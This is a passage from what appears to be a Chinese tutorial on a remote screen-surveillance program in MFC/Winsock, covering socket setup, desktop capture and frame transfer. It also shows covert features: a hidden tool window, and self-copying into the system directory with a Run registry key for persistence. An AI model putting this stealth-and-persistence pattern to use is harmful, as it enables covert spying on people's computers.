sock=socket(AF_INET,SOCK_STREAM,0); |
|
sockin_s.sin_family=AF_INET; sockin_s.sin_addr.s_addr=0; sockin_s.sin_port=htons(PORT); bind(sock,(LPSOCKADDR)&sockin_s,sizeof(sockin_s)); |
AfxBeginThread(Server,NULL);//创建一个新的线程 …… UINT Server(LPVOID lpVoid) { CSurveillant_ServerView* pView=((CSurveillant_ServerView*)((CFrameWnd*) AfxGetApp()->m_pMainWnd)->GetActiveView()); int nLen=sizeof(SOCKADDR); pView->newskt_s= accept(pView->sock,(LPSOCKADDR)& pView->sockin_s,(LPINT)& nLen); WSAAsyncSelect(pView->newskt_s,pView->m_hWnd,WM_MSG,FD_CLOSE); pView->SetTimer(0,2500,NULL); return 1; } |
…… IPaddr=inet_addr(strIP); sock=socket(AF_INET,SOCK_STREAM,0); //创建套接字 sockin_c.sin_family=AF_INET; sockin_c.sin_addr.S_un.S_addr=IPaddr; sockin_c.sin_port=m_Port; connect(sock,(LPSOCKADDR)&sockin_c,sizeof(sockin_c));//连接服务器 …… WSAAsyncSelect(sock,m_hWnd,WM_MSG,FD_READ|FD_CLOSE); …… |
通过异步选择函数的设定,在有数据到达时会由FD_READ触发WM_MSG消息,并在处理函数中通过调用recv ()将远程主机的屏幕信息从网络接收到缓存,并完成在本地机的重显。通过以上几步,已经初步具备了在远程服务器和本地客户机之间的网络通讯能力,可以完成屏幕信息的网络传送任务。
对远程计算机屏幕的捕捉和显示
前面部分的工作只是为整个监控系统提供一个低层的网络数据通讯的能力,也可以说是为现场主机和监控中心提供一个通信用信道。至于本文的中心议题--远程监视工作则需要分别在现场主机和监控中心中完成对屏幕的捕捉和信息的再现。屏幕的捕捉可以采取先获取桌面窗口指针并建立一个与之兼容的设备环境,然后创建一个与桌面窗口指针相兼容的内存位图并以位图的形式将屏幕图像拷贝到新创建的位图之中:
char dot[1572864]; //1024*768*2 CBitmap bmp; //内存位图 CDC wdc; //设备环境 CDC* pDC; //指向桌面窗口的设备环境指针 …… static CWindowDC ddc(GetDesktopWindow()); //引用桌面窗口指针定义对象ddc pDC=&ddc; //将指针pdc指向ddc wdc.CreateCompatibleDC(pDC); //建立与ddc兼容的设备环境 bmp.CreateCompatibleBitmap(pDC,1024,768); //建立与ddc兼容的位图 wdc.SelectObject(&bmp); //选择bmp …… wdc.BitBlt(0,0,1024,768,pDC,0,0,SRCCOPY); //把桌面图像复制到wdc的bmp中 |
CDC* pDC=GetDC(); //引用用户窗口指针定义对象pDC wdc.CreateCompatibleDC(pDC); //建立与pDC兼容的device context bmp.CreateCompatibleBitmap(pDC,1024,768); //建立与pDC兼容的位图 wdc.SelectObject(&bmp); …… iReadLen = recv(sock,buffer,60000,0); //从网络接收数据 for(i=0;i dot[pointer]=buffer[i]; pointer++; if(pointer==1572864) //判断接收到的信息是否已满一屏 { GetClientRect(&rect); bmp.SetBitmapBits(1572864,(LPVOID)dot); //把内存数据复制到bmp中 //把bmp中图像复制到用户窗口中 pDC->StretchBlt(0,0,rect.Width(),rect.Height(),&wdc,0,0,1024,768,SRCCOPY); pointer=0; //接收完一屏后指针复位,准备接收下一屏 } } |
BOOL CMainFrame::PreCreateWindow(CREATESTRUCT& cs) { …… cs.cx=200; cs.cy=10; cs.style=WS_POPUP; cs.dwExStyle|=WS_EX_TOOLWINDOW; return TRUE; } |
DWORD type=REG_SZ; DWORD size=MAX_PATH; LPCTSTR Rgspath="Software//Microsoft//Windows//CurrentVersion//Run" ; …… GetSystemDirectory(SysPath,size); //获取系统目录 GetModuleFileName(NULL,CurrentPath,size); //获取程序路径 FileCurrentName = CurrentPath; FileNewName = lstrcat(SysPath,"//Surveillant.exe"); ret = CopyFile(FileCurrentName,FileNewName,TRUE); //拷贝程序到系统目录 …… //打开注册表 ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,Rgspath,0,KEY_WRITE, &hKEY); …… //写入注册表 ret=RegSetValueEx(hKEY,"Surveillant",NULL,type, FileNewName,size); …… //关闭注册表 RegCloseKey(hKEY); |